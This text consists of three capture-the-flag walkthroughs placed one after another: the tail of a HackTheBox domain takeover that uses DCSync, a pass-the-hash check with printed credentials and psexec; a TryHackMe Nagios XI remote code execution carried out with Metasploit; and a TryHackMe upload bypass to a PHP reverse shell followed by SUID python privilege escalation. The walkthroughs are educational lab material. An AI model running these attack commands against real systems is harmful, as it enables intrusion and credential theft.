KRB5CCNAME=backupadmin@cifs_DC.rustykey.htb@RUSTYKEY.HTB.ccache wmiexec.py -k -no-pass 'rustykey.htb/backupadmin@dc.rustykey.htb'

Final Escalation to Domain Administrator (DCSync)

• Using BackupAdmin ‘s service ticket, a full DCSync is performed to extract NTLM hashes and the plaintext password for the Administrator account:

KRB5CCNAME=backupadmin@cifs_DC.rustykey.htb@RUSTYKEY.HTB.ccache secretsdump.py -k -no-pass 'rustykey.htb/backupadmin@dc.rustykey.htb'

• Verification with nxc confirms the credentials are valid:
• With Plaintext password

nxc smb 10.10.11.75 -u Administrator -p 'Rustyrc4key#!' -k

• With Domain Administrator Hash:

nxc smb 10.10.11.75 -u Administrator -H 'f7a351e12f70cc177a1d5bd11b28ac26' -k

Note: There are two administrator hashes, one for the local administrator and the other one for the domain administrator, make sure to use the latter!

Obtain Full Administrative Shell

• We get the Domain Administrator shell and the root flag:

psexec.py -k 'rustykey.htb/administrator:Rustyrc4key#!@dc.rustykey.htb'

Hurray we conquered the domain! Till next time!😎

References

• Timeroasting article by SecuraBV
• DACL Abuse By The Hacker Recipes
• RBCD By The Hacker Recipes
• Protected Users Security Group

Imagine diving into a world of puzzles, mysterious clues, and hacking challenges inspired by the legendary Cicada 3301. Welcome to Nax, a TryHackMe room where you’ll test your detective skills and learn how to exploit a vulnerability in Nagios XI for remote code execution.

This challenge is a mix of cryptic codes, colorful art, and clever exploits. You’ll decode hints hidden in a periodic table, uncover secrets in an image file, and use powerful tools like Metasploit to break into a system. It’s a Cybersecurity playground where every clue brings you closer to the prize: capturing the flags and mastering the art of ethical hacking. Ready to embark on this enthralling adventure? Let’s get started!

Task 1: Setting the stage

• Before diving into the challenge, ensure your VPN connection is active by downloading the configuration file provided by TryHackMe and running:

sudo openvpn <your-config-file.ovpn>

Task 2: Flag

• We need to create a dedicated directory to organize our work:

mkdir -p ~/THM/Nax && cd ~/THM/Nax
mkdir nmap

Reconnaissance and Enumeration

Network Scanning with Nmap

• Start by performing an nmap scan to identify open ports and services:

sudo nmap -sC -sV -oA nmap/nax <target_ip>

• The scan reveals a web-server on port 80. Navigating to this server in a browser, you’re greeted with a Cicada-style banner and some intriguing element name abbreviations on the page.

Directory Enumeration with Gobuster

• Install Gobuster and enumerate directories on the web-server:

sudo apt install gobuster
gobuster dir -u http://<target_ip>/ -w <wordlist>

• Since I am using Kali Linux, the distro includes a collection of pre-packaged wordlists located in the /usr/share/wordlists directory. You can explore this directory and select a wordlist that suits your needs.
• Alternatively, you can utilize a well-maintained set of wordlists available in the Seclists repository.
• /index.html: Mirrors the homepage
• /index.php: redirects to a Nagios XI login

• Since no credentials were available, brute-forcing using commonly used passwords was attempted; however, the approach was unsuccessful.
• Exploring other URL paths also yielded no significant findings.

Decoding the Periodic Table Puzzle

• Returning to the homepage, we notice the element abbreviations displayed might hold a clue.

• The elements Ag, Hg, Ta, Sb, Po, Pd, Hg, Pt, and Lr — somewhat suggested a periodic table puzzle.

• Mapping these elements to their corresponding atomic numbers sparked an idea: could these numbers represent ASCII characters?🤔

• With Python being our favorite tool for scripting, we mapped the atomic numbers to their ASCII equivalents.

atomic_numbers = [47, 80, 73, 51, 84, 46, 80, 78, 103]
for atomic_number in atomic_numbers:
    print(chr(atomic_number), end="")

• The result, /PI3T.PNg, hinted at a potential file path.

• Accessing http://10.10.109.255//PI3T.PNg revealed a PNG file with a colorful border. Remember to replace the IP address with your own!

Performing Forensics on the Image File

• Using the exiftool, we discovered the image’s artist Piet Mondrian.

• Performed further forensics on the image file using the strings utility. However, this did not reveal any interesting information.

• After doing a quick google search, We learn that Mondrian inspired the Piet programming language, which interprets images as code.

• Piet language was designed by David Morgan-Mar.
• Learn more about Piet Programming language here

• To experiment with Piet programming language, an online tool npiet is available. This tool supports interpreting Piet programs encoded in PPM, PNG and GIF formats, specifically from version 0.3a.

• Using the downloaded PNG file, we uploaded it to the npiet online interpreter to analyze its contents. The tool processed the file and returned some intriguing data. Based on the provided hint — % is a separator — we are able to decipher the output, revealing the username and password embedded within the image.

• For those who the online tool didn’t do the magic, GIMP can be used to first convert the PNG to PPM format.
• NB: Gimp didn’t work on my Kali Linux box, so I had to switch to my Ubuntu machine where all worked like a charm.
• To install Gimp on a Linux distro:

sudo apt install gimp

• To work with npiet locally, the source code can be downloaded from this site or use the wget command:

wget https://www.bertnase.de/npiet/npiet-1.3f.tar.gz

• Once the source code is downloaded, extract the archive then configure the program using ./configure script and compile the program by running the make command in the extracted directory.

• While running make, you may encounter warnings and errors; these can generally be ignored as they do not impact the functionality of the tool as long as the npiet script was generated.

• With the tool compiled, use the following command to interpret the PPM file created from the original PNG. Remember to provide accurate path to your .ppm image file:

./npiet -e 500 ../PI3T.ppm

• The above command sets the execution steps to 500. To obtain a more comprehensive result, you can increase the number of execution steps to 1000 :

./npiet -e 1000 ../PI3T.ppm

• Experimenting with different execution step values can sometimes yield additional clarity in the output.
• After processing the file, the username and password were successfully extracted from the output. These results matched those obtained using the npiet online tool.
• Using the credentials, obtained an attempt to establish an SSH connection to the target machine was unsuccessful.

Identifying the Vulnerability

• Recalling the presence of a Nagios XI login page http://10.10.109.255/index.php, it was time to test the credentials there. The credentials were valid, granting access to the application.

• Upon logging in, there was a prompt to upgrade to the latest version of Nagios XI, and the version displayed in the bottom-left corner confirmed it as Nagios XI 5.5.6.

• A quick enumeration of the available options on the web-interface provided no other relevant information.
• To begin vulnerability assessment, searchsploit was used to identify potential vulnerabilities associated with Nagios XI.
• searchsploit provides access to a vast repository of publicly available exploits. Think of it as the commandline utility variant of ExploitDB

searchsploit Nagios XI

• The search yielded a significant number of results, highlighting various known vulnerabilities tied to Nagios XI. One that stood out was associated to Metasploit — Authenticated Remote Command Execution (Metasploit).

• Performing a google search landed us on ExploitDB where the CVE-2019–15949 identifier associated with the vulnerability was confirmed.

• Recognizing the potential for an exploit, Metasploit was launched for further investigation. Launch the tool in quiet mode (Without displaying the banner)using:

msfconsole -q

• With Metasploit running, we searched for the exploit using:

search Nagios XI

• From the results, the exploit specific to Nagios XI — Authenticated Remote Command Execution, was identified based on the hints and earlier research.
• To filter down the results using the known details:

search cve:2019 type:exploit Nagios XI

• Once the appropriate exploit is identified, detailed information can be viewed using:

info 0

• 0 denoting the id of the exploit as indicated by the screenshot above.

• To initiate the exploitation process, the module was loaded using:

use exploit/linux/http/nagios_xi_plugins_check_plugin_authenticated_rce

• The module options were configured, which required setting the following parameters:

use exploit/linux/http/nagios_xi_plugins_check_plugin_authenticated_rce
set PASSWORD n3p3UQ&9BjLp4$7uhWdY
set RHOSTS <target_ip>
set LHOST <your_ip>
run

• USERNAME: The username obtained earlier
• PASSWORD: The corresponding password
• RHOSTS: The target machine’s IP address
• RPORT: The port where Nagios XI is running (default: 80), which is okay by us
• TARGETURI: The URI path for Nagios XI
• Additionally, the payload options were set
• LHOST: Our local IP address

• LPORT: Local listening port
• Some values had suitable defaults, simplifying the setup.

• With the module fully configured, the exploit was executed using the run command.

• After obtaining the meterpreter session, getuid was used to verify the identity of the user associated with the session, and amazingly it was a root user, hurrah🥳.
• The shell command was used to acquire basic command-line functionality.
• For smoother and more interactive terminal experience, Python was leveraged to spawn a fully interactive bash shell.

python -c 'import pty; pty.spawn("/bin/bash")'

Flag Hunting

• After obtaining an interactive shell, since we know the name of the user flag, find command was used to locate the file and read its content:

sudo find / -type f -name "user.txt" -exec cat {} \;

• The command can also be used to locate the root flag file:

sudo find / -type f -name "root.txt" -exec cat {} \;

• You can do further enumeration, but for this room, we are done and dusted! And with that guys, we’ve ‘naxed’ the room😂

And there you have it — another adventure in the land of puzzles, periodic tables, and colorful PNGs. Who knew that hacking could involve so much chemistry? It’s like being in a spy movie, but instead of cracking safes, we’re cracking atomic numbers into ASCII characters. And let’s not forget our trusty sidekick, Metasploit, always ready to deliver the final blow to vulnerable systems like a cyber ninja.

At the end of it all, we got the flags, uncovered the secrets, and proved that even a seemingly innocent Nagios XI login page can hide a treasure trove of exploits. So, whether you’re hunting vulnerabilities or just trying to figure out why Piet Mondrian has a programming language named after him, remember: hacking is equal parts art and science.

Now, go forth, and may your exploits be fruitful and your code always compile. Just don’t forget to patch your own systems — because karma’s a CVE waiting to happen! 😉Till vulnerability next door makes its move. Adios.

Embarking on a TryHackMe room like RootMe is akin to entering a digital escape room — a blend of curiosity, logic, and the sheer thrill of uncovering hidden paths. Whether you are sharpening your cybersecurity skills or indulging in a hacker’s playground, this room offers an engaging challenge to flex your offensive security muscles. Let’s dive into this journey step by step and maybe, along the way, you’ll pick up a few nifty tricks.

Task 1: Deploy the machine

Getting Started

• First, connect to TryHackMe’s network using OpenVPN. Download the VPN configuration file from the platform and execute the following command:

sudo openvpn <open_vpn_configuration_file.ovpn>

Once connected, deploy the RootMe machine. Your adventure is about to begin!

Task 2: Reconnaissance

Reconnaissance is the art of gathering information. Like Sherlock Holmes piecing together clues, the task at hand is to analyze the target.

Question 1: Scan the machine, how many ports are open?

Prepare the Workspace

• We need to keep things organized. So, Create a dedicated directory for this room and navigate to that directory:

mkdir -p THM/RootMe && cd THM/RootMe
mkdir nmap

• Conduct an Nmap scan to uncover open ports and running services:

sudo nmap -sC -sV -oA nmap/rootme <target_ip>

Answer: 2 [22/tcp open ssh, 80/tcp open http]

Question 2: What version of Apache is running?

Answer: Apache http 2.4.29 ((Ubuntu))

Question 3: What service is running on port 22?

Answer: 22/tcp open ssh

Question 4: Find directories on the web server using the GoBuster tool.

• Knowing port 80 hosts a web server, it’s time to hunt for hidden directories:
• Viewing the page source: nothing interesting😞

• If you don’t have Gobuster tool:

sudo apt install gobuster

gobuster dir -u http://<target_ip>/ -w <wordlist>

Interesting directories found:

• /js
• /panel
• /uploads

Exploring the directories:

• /js : Nothing relevant.

• /panel : A file upload form — intriguing!

• /uploads : A place to view uploaded files.

Question 5: What is the hidden directory?

Answer: /panel

Task 3: Getting a shell

The fun escalates here. Your goal: gain a foothold by exploiting the file upload functionality.

Searching for a payload

• Searching for a PHP reverse shell, I bumped into this site https://github.com/pentestmonkey/php-reverse-shell where I found a PHP reverse shell script, kudos to pentestmonkey.

Download the script

wget https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/refs/heads/master/php-reverse-shell.php

• Edit the script to include your IP address (tun0 interface) and a listening port

• Start a listener on your machine:

nc -lvnp <listening_port>

Upload Bypass

• The file upload form blocks .php files. The server throws a curveball with an error message that translates to “PHP is not allowed!” in Spanish, since I am the “no hablo español” guy, I had to google it😅.

• Trying .php3 uploaded successfully. Refreshing the /uploads URL, you can see the uploaded files.

• However, clicking on the file to execute it and obtain a reverse shell results in a weird error, and no reverse shell is triggered.

• Repeated the process for .php3 and .php4, but no luck.

• Finally, uploading and executing an exploit file with .php5 extension, triggered a reverse shell. Hurray🥳.

• Upon execution of the file with a .php5 extension a shell appears.

• Enumerate the system to locate the first flag.

• Since we already know the name of the user flag file, we can use find command to locate it:

find / -type f -name user.txt 2>/dev/null

Task 4: Privilege Escalation

Privilege escalation is the art of gaining high-level access to a machine.

Question 1: Search for files with SUID permission, which file is weird?

• Trying to access the /root folder, we’re greeted with an error indicating we don’t have the required privileges. We need to get our sleeves up and get those “groot” privileges😂 Ooops I meant root!

SUID Enumeration:

find / -type f -user root -perm -04000 -ls 2>/dev/null

• An interesting result appears: /usr/bin/python

• We can also use a Bash Script like LinEnum.sh to enumerate potential vulnerabilities. To get started:
• We need to download the script (Github repo: https://github.com/rebootuser/LinEnum)

wget https://raw.githubusercontent.com/rebootuser/LinEnum/refs/heads/master/LinEnum.sh  

• We then need to copy the file to the target machine.
• In this case, we have wget utility on the target.
• Set up a Simple Python Web Server on the attacker machine and make sure you are on the directory with which you downloaded LinEnum.sh shell script.
• Download the file on the target machine and give it executable permissions

• The output confirms the interesting file /usr/bin/python as a potential vector for privilege escalation.

Question 2: Find a form to escalate your privileges.

• Referencing GTFOBins, use python to escalate privileges:

python -c 'import os; os.execl("/bin/sh", "sh", "-p")'

• Executing this command grants root privileges.

Question 3: root.txt

• Navigate to the /root directory to find the root.txt flag:

Rooting a machine like this is not just a technical feat but a mental workout. From reconnaissance to privilege escalation, every step is a puzzle piece fitting into a larger picture. RootMe teaches patience, resourcefulness and the beauty of persistence.

And let’s face it, the journey from scratching your head over PHP upload errors to shouting “I’m root!”🤣 is nothing short of exhilarating. Along the way, you might find yourself cursing restrictive upload filters, and wondering why your reverse shell won’t call you back.

Remember: hacking is not just about breaking things — it’s about understanding systems, solving problems, and thinking creatively. So take a bow, you’ve earned it. Now go grab a cup of coffee, bask in your newfound root privileges, and plot your next adventure. Who knows, maybe the next machine will be less forgiving… or even more fun! Cheers to hacking responsibly and having a blast while at it! I’m groot😎